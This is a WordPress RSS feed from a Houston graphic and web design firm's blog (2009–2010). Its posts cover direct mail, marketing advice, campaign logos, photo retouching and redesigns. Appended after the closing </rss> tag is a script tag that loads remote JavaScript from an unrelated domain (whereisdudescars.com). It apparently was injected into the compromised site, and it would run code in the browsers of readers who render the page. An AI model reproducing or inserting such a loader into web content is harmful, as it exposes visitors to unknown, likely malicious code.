































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>HouMedia</title>
	<atom:link href="http://www.houmedia.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.houmedia.com</link>
	<description>Full Service Creative: Graphic Design, Web Design, Photography &#38; Videography</description>
	<lastBuildDate>Tue, 13 Jul 2010 20:36:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Boosting Registration with Direct Mail</title>
		<link>http://www.houmedia.com/2010/07/13/boosting-registration-with-direct-mail/</link>
		<comments>http://www.houmedia.com/2010/07/13/boosting-registration-with-direct-mail/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 20:36:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.houmedia.com/?p=285</guid>
		<description><![CDATA[This direct mail piece was designed, printed and mailed for Beatrice Mayes Institute, one of Texas&#8217; Top 1% schools to promote enrollment for the 2010-2011 school year.  In the mist of the popularity of social media, direct mail is making a comeback!]]></description>
			<content:encoded><![CDATA[<p>This direct mail piece was designed, printed and mailed for Beatrice Mayes Institute, one of Texas&#8217; Top 1% schools to promote enrollment for the 2010-2011 school year.  In the mist of the popularity of social media, direct mail is making a comeback!</p>
<p><a href="http://www.houmedia.com/wp-content/uploads/2010/07/bmi_mailer.jpg"><img class="aligncenter size-large wp-image-286" title="bmi_mailer" src="http://www.houmedia.com/wp-content/uploads/2010/07/bmi_mailer-540x270.jpg" alt="bmi_mailer" width="540" height="270" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.houmedia.com/2010/07/13/boosting-registration-with-direct-mail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Don&#8217;t Take it From Me</title>
		<link>http://www.houmedia.com/2010/04/02/dont-take-it-from-me/</link>
		<comments>http://www.houmedia.com/2010/04/02/dont-take-it-from-me/#comments</comments>
		<pubDate>Sat, 03 Apr 2010 00:52:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[guerrilla marketing]]></category>
		<category><![CDATA[website design]]></category>

		<guid isPermaLink="false">http://www.houmedia.com/?p=243</guid>
		<description><![CDATA[I have been pouring over what I believe may be the most straight-forward, practical and comprehensive guides to small business marketing&#8211;the Guerrilla Marketing series by Jay Conrad Levinson.  So much so I had a dream that I ran into him at Staples the other day&#8230;seriously. I came across this section in his book Guerrilla Marketing [...]]]></description>
			<content:encoded><![CDATA[<p>I have been pouring over what I believe may be the most straight-forward, practical and comprehensive guides to small business marketing&#8211;the Guerrilla Marketing series by Jay Conrad Levinson.  So much so I had a dream that I ran into him at Staples the other day&#8230;seriously.</p>
<p>I came across this section in his book <a href="http://www.amazon.com/gp/product/1599181940?ie=UTF8&amp;tag=wwwhoumediaco-20" target="_blank"><em>Guerrilla Marketing on the Internet</em>,</a> and wanted to share his insight with you.  He articulated something that I&#8217;ve witnessed to be true&#8211;but you don&#8217;t have to take it from me.</p>
<p>Here goes, on page 23 He list #3 of &#8220;The 12 Biggest Internet Marketing Mistakes&#8221;:</p>
<p><strong><em>Developing Poorly Designed Websites that are Difficult to Navigate</em></strong></p>
<p><em>Online consumer research studies confirm that when visitors land on a website they experience &#8220;stay&#8221; or &#8220;go&#8221; moments within the first ten seconds.  If it looks unprofessional or hard to use, they leave and usually won&#8217;t be back.  In other words, your target audience will judge you, your products and services, and company, in a snap&#8211;and you&#8217;re likely to get only one chance to impress them.</em></p>
<p><em>Given this, all website owners would be doing everything they can ensure that their online visitors are blown away by their website&#8217;s look, feel, and navigability.  Unfortunately however, this is often not the case at all.  <span style="text-decoration: underline;">Quite a few shortsighted entrepreneurs underestimate the negative impact of poorly written copy, amateurish design, and convoluted navigation&#8230;remember that this is one of those areas where it doesn&#8217;t pay to be penny wise and pound foolish&#8211;it&#8217;s just too important.</span> Don&#8217;t annoy, or worse yet alienate, prospective customers because your cousin&#8217;s friend&#8217;s aunt&#8217;s next-door neighbor&#8217;s brother volunteers to design your website on the cheap.</em></p>
<p>Well said, Levinson.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.houmedia.com/2010/04/02/dont-take-it-from-me/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Campagin Logos</title>
		<link>http://www.houmedia.com/2009/12/17/campagin-logos/</link>
		<comments>http://www.houmedia.com/2009/12/17/campagin-logos/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 16:25:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[campaign]]></category>
		<category><![CDATA[campaign logos]]></category>
		<category><![CDATA[political designs]]></category>
		<category><![CDATA[yard signs]]></category>

		<guid isPermaLink="false">http://www.houmedia.com/?p=117</guid>
		<description><![CDATA[Candidates for public office also desire&#8211;and most often depend on name recognition (i.e. brand identity) for success.  Just as in business, a logo can play a key role is establishing this recognition.  We&#8217;ve had the opportunity to develop logos for many winning campaigns&#8211;here we share a few, as well as the some insights into the [...]]]></description>
			<content:encoded><![CDATA[<p>Candidat<img class="alignleft size-full wp-image-118" title="yardsign_flojackson-300x226" src="http://www.houmedia.com/wp-content/uploads/2009/11/yardsign_flojackson-300x226.jpg" alt="yardsign_flojackson-300x226" width="300" height="226" />es for public office also desire&#8211;and most often depend on name recognition (i.e. brand identity) for success.  Just as in business, a logo can play a key role is establishing this recognition.  We&#8217;ve had the opportunity to develop logos for many winning campaigns&#8211;here we share a few, as well as the some insights into the creative process involved in each one.</p>
<p><a href="http://www.houmedia.com/wp-content/uploads/2009/11/Picture-24.png"><img class="alignleft size-medium wp-image-144" title="Picture 24" src="http://www.houmedia.com/wp-content/uploads/2009/11/Picture-24-300x225.png" alt="Picture 24" width="300" height="225" /></a>Adrian Collins was a candidate for HISD School Board in Fall 2009.  He has a successful consulting firm that employs the same colors&#8211;so we decided to stick with the dark and light blue that were already associated with him through his business.</p>
<p><a href="http://www.houmedia.com/wp-content/uploads/2009/11/Picture-26.png"><img class="alignleft size-medium wp-image-143" title="Picture 26" src="http://www.houmedia.com/wp-content/uploads/2009/11/Picture-26-300x227.png" alt="Picture 26" width="300" height="227" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.houmedia.com/2009/12/17/campagin-logos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Using Print Materials to Promote Client Relations-Advantage BMW</title>
		<link>http://www.houmedia.com/2009/11/27/advantage-bmw-client-relations/</link>
		<comments>http://www.houmedia.com/2009/11/27/advantage-bmw-client-relations/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 21:16:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[calendars]]></category>
		<category><![CDATA[client relations]]></category>
		<category><![CDATA[customer promotions]]></category>
		<category><![CDATA[newsletters]]></category>
		<category><![CDATA[sales]]></category>

		<guid isPermaLink="false">http://www.houmedia.com/?p=106</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><img class="size-large wp-image-110" title="Advantage BMW Protional Calendar 2010" src="http://www.houmedia.com/wp-content/uploads/2009/11/Picture-171-540x418.png" alt="Picture 17" width="540" height="418" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.houmedia.com/2009/11/27/advantage-bmw-client-relations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Professionally Photoshopped Pics Shouldn&#8217;t Look Photoshopped At All!</title>
		<link>http://www.houmedia.com/2009/11/20/professionally-photoshopped-pics-shouldnt-look-photoshopped-at-all/</link>
		<comments>http://www.houmedia.com/2009/11/20/professionally-photoshopped-pics-shouldnt-look-photoshopped-at-all/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 17:53:38 +0000</pubDate>
		<dc:creator>Alysia</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.houmedia.com/?p=81</guid>
		<description><![CDATA[Many newbie graphic designers have fallen into the trap of using every filter known to man when altering photos (including myself 9 years ago). While this CAN create some awesome effects, it&#8217;s only when used properly. It earks me to see neon people for no artistic reason, or&#8211;even worse, jagged cut outs of people placed [...]]]></description>
			<content:encoded><![CDATA[<p><!--StartFragment-->Many newbie graphic designers have fallen <!--EndFragment-->into the trap of using every filter known to man when altering photos (including myself 9 years ago).  While this CAN create some awesome effects, it&#8217;s only when used properly.  It earks me to see neon people for no artistic reason, or&#8211;even worse, jagged cut outs of people placed on a default gradient background.</p>
<p>Here&#8217;s my newest edition and some fun I had with her poolside pic:</p>
<p><img class="alignleft size-full wp-image-116" title="photoshopba" src="http://www.houston-media.com/wp-content/uploads/2009/07/photoshopba.jpg" alt="photoshopba" width="615" height="240" /></p>
<p>{{ View full size pics here: <a title="Before" href="http://www.houston-media.com/wp-content/uploads/2009/07/img_0079.jpg" target="_blank">Before </a>&amp; <a title="After" href="http://www.houston-media.com/wp-content/uploads/2009/07/img_0079b.jpg" target="_blank">After</a> }}</p>
<p>You wouldn&#8217;t know it by looking solely at the &#8220;after&#8221; pic, but I removed a scratch from my baby-girl&#8217;s face and changed her neon green summer suit to a pink one.  I also lightened up the pic.  It&#8217;s subtle, very subtle&#8211;but in lies the difference between a well-edited photo and one that, well&#8211;shows that the designer is just playing with a new toy.</p>
<p>Another example of (subtle) fun with Photoshop I did for fun can be seen here, I&#8217;m #16: <a href="http://www.webdesignerdepot.com/2009/04/results-of-self-portrait-design-challenge/" target="_blank">http://www.webdesignerdepot.com/2009/04/results-of-self-portrait-design-challenge/</a></p>
<p><em><strong>These soft differences can make a huge impact the impression your flyers/marketing materials have as well.</strong></em> I won&#8217;t post it here because well, it would defeat the purpose, but I&#8217;ve taken 10 years off photos for clients to use on their promotional products. Background changes, color changes, and a number of other photo fixes make the difference in good print collateral.</p>
<p><a href="http://www.houston-media.com/wp-content/uploads/2009/07/scratchbefore.jpg"><img class="alignleft size-full wp-image-130" title="scratchbefore" src="http://www.houston-media.com/wp-content/uploads/2009/07/scratchbefore.jpg" alt="scratchbefore" width="615" height="400" /></a></p>
<p><a href="http://www.houston-media.com/wp-content/uploads/2009/07/scratchafter.jpg"><img class="alignleft size-full wp-image-129" title="scratchafter" src="http://www.houston-media.com/wp-content/uploads/2009/07/scratchafter.jpg" alt="scratchafter" width="615" height="400" /></a>-Alysia</p>
]]></content:encoded>
			<wfw:commentRss>http://www.houmedia.com/2009/11/20/professionally-photoshopped-pics-shouldnt-look-photoshopped-at-all/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Commercial Real Estate Magazine Ads</title>
		<link>http://www.houmedia.com/2009/10/28/commercial-real-estate-magazine-ads/</link>
		<comments>http://www.houmedia.com/2009/10/28/commercial-real-estate-magazine-ads/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 02:42:18 +0000</pubDate>
		<dc:creator>Alysia</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[advertisements]]></category>
		<category><![CDATA[magazine ad design]]></category>

		<guid isPermaLink="false">http://www.houmedia.com/?p=121</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_122" class="wp-caption alignleft" style="width: 310px"><a href="http://www.houmedia.com/wp-content/uploads/2009/11/dncommercial_magad.jpg"><img class="size-medium wp-image-122" title="dncommercial_magad" src="http://www.houmedia.com/wp-content/uploads/2009/11/dncommercial_magad-300x256.jpg" alt="dncommercial_magad" width="300" height="256" /></a><p class="wp-caption-text">DN Commercial - 2008</p></div>
<div id="attachment_123" class="wp-caption alignleft" style="width: 550px"><a href="http://www.houmedia.com/wp-content/uploads/2009/11/grubb1.jpg"><img class="size-large wp-image-123" title="grubb1" src="http://www.houmedia.com/wp-content/uploads/2009/11/grubb1-540x638.jpg" alt="Grubb &amp; Ellis Property Solutions Worldwide" width="540" height="638" /></a><p class="wp-caption-text">Grubb &amp; Ellis Property Solutions Worldwide</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.houmedia.com/2009/10/28/commercial-real-estate-magazine-ads/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>GHMG Has a Whole-New Look!</title>
		<link>http://www.houmedia.com/2009/06/18/ghmg-has-a-whole-new-look/</link>
		<comments>http://www.houmedia.com/2009/06/18/ghmg-has-a-whole-new-look/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 19:51:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[business card design]]></category>
		<category><![CDATA[logo design]]></category>
		<category><![CDATA[logo redesign]]></category>
		<category><![CDATA[spot uv]]></category>

		<guid isPermaLink="false">http://www.houmedia.com/?p=52</guid>
		<description><![CDATA[It&#8217;s been a long time coming, but in the vein of new images (i.e. Best Buy, Walmart), it was time to freshen up the GMHG logo.  We wanted to do something clean and conceptual that could stand alone without the words &#8220;Greater Houston Media Group&#8221; spelled out.  After countless iterations, this is what we came [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-92" title="logoweb" src="http://www.houmedia.com/wp-content/uploads/2009/06/logoweb-300x113.jpg" alt="logoweb" width="300" height="113" /></p>
<p>It&#8217;s been a long time coming, but in the vein of new images (i.e. Best Buy, Walmart), it was time to freshen up the GMHG logo.  We wanted to do something clean and conceptual that could stand alone without the words &#8220;Greater Houston Media Group&#8221; spelled out.  After countless iterations, this is what we came up with:</p>
<p>And of course, a new logo calls for new business cards.  This is what we came up with.</p>
<p><img class="alignleft size-large wp-image-91" title="newbusinesscard" src="http://www.houmedia.com/wp-content/uploads/2009/06/newbusinesscard1-550x357.jpg" alt="newbusinesscard" width="550" height="357" /><strong>Message-wise</strong>, we thought&#8211;what better way to introduce ourselves than by sharing our philosophy&#8211;why we do what we do.  That&#8217;s why on the front of the card, you&#8217;ll read: &#8220;We help people communicate with the world.  Because of what we do businesses are built, people in need are helped, and dreams come true.&#8221;  This is literally my personal mantra that I say first thing in the a.m. to prep me for the day&#8217;s work&#8211;only in my mantra there&#8217;s a paragraph after going into further detail about the standard of excellence and OF MOST IMPORTANCE, an acknowledgment of Christ being the enabler of all things good.  It&#8217;s through Him that everything is possible.</p>
<p><strong>Aesthetically</strong>, I wanted something that stood out without screaming.  White-space is king.  Also&#8211;there&#8217;s an awesome effect we&#8217;re doing with a method called spot UV, which you can&#8217;t see on the illustration above, but I will share with you in a later post via a photo of the physical card.</p>
<p><strong>Functionally</strong>, as the popularity of social networks grows exponentially (i.e. Twitter&#8217;s March 2009 19 million-member increase) it&#8217;s important for those whose business uses the social networks constantly, especially those in related fields (like web design!) to offer this as a method of contact, so you will see my Twitter and Facebook name included on the card.  Luckily I was able to secure the same username for Skype&#8211;an incredibly valuable tool, especially when working with clients and staff long distance.</p>
<p>Also, for those who are especially attentive, you&#8217;ll notice the card boast a new website name.  The hyphen in our web address www.houston-media.com has been a source of great frustration&#8211;as a knew it would be when I first registered it a little over 4 years ago.  For lack of a more desirable name that incorporated our company name&#8211;I went with it.  However, we have successfully secured the domain www.houmedia.com, and will be making a seamless transition to the new site domain in July.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.houmedia.com/2009/06/18/ghmg-has-a-whole-new-look/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Website Redesign: BrownReynolds.com</title>
		<link>http://www.houmedia.com/2008/11/07/website-redesign-brownreynolds/</link>
		<comments>http://www.houmedia.com/2008/11/07/website-redesign-brownreynolds/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 02:26:48 +0000</pubDate>
		<dc:creator>Alysia</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[attorney website]]></category>
		<category><![CDATA[website redesign]]></category>

		<guid isPermaLink="false">http://www.houmedia.com/?p=114</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-large wp-image-115" title="brownreynolds-redesign" src="http://www.houmedia.com/wp-content/uploads/2009/11/brownreynolds-redesign-540x766.jpg" alt="brownreynolds-redesign" width="540" height="766" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.houmedia.com/2008/11/07/website-redesign-brownreynolds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>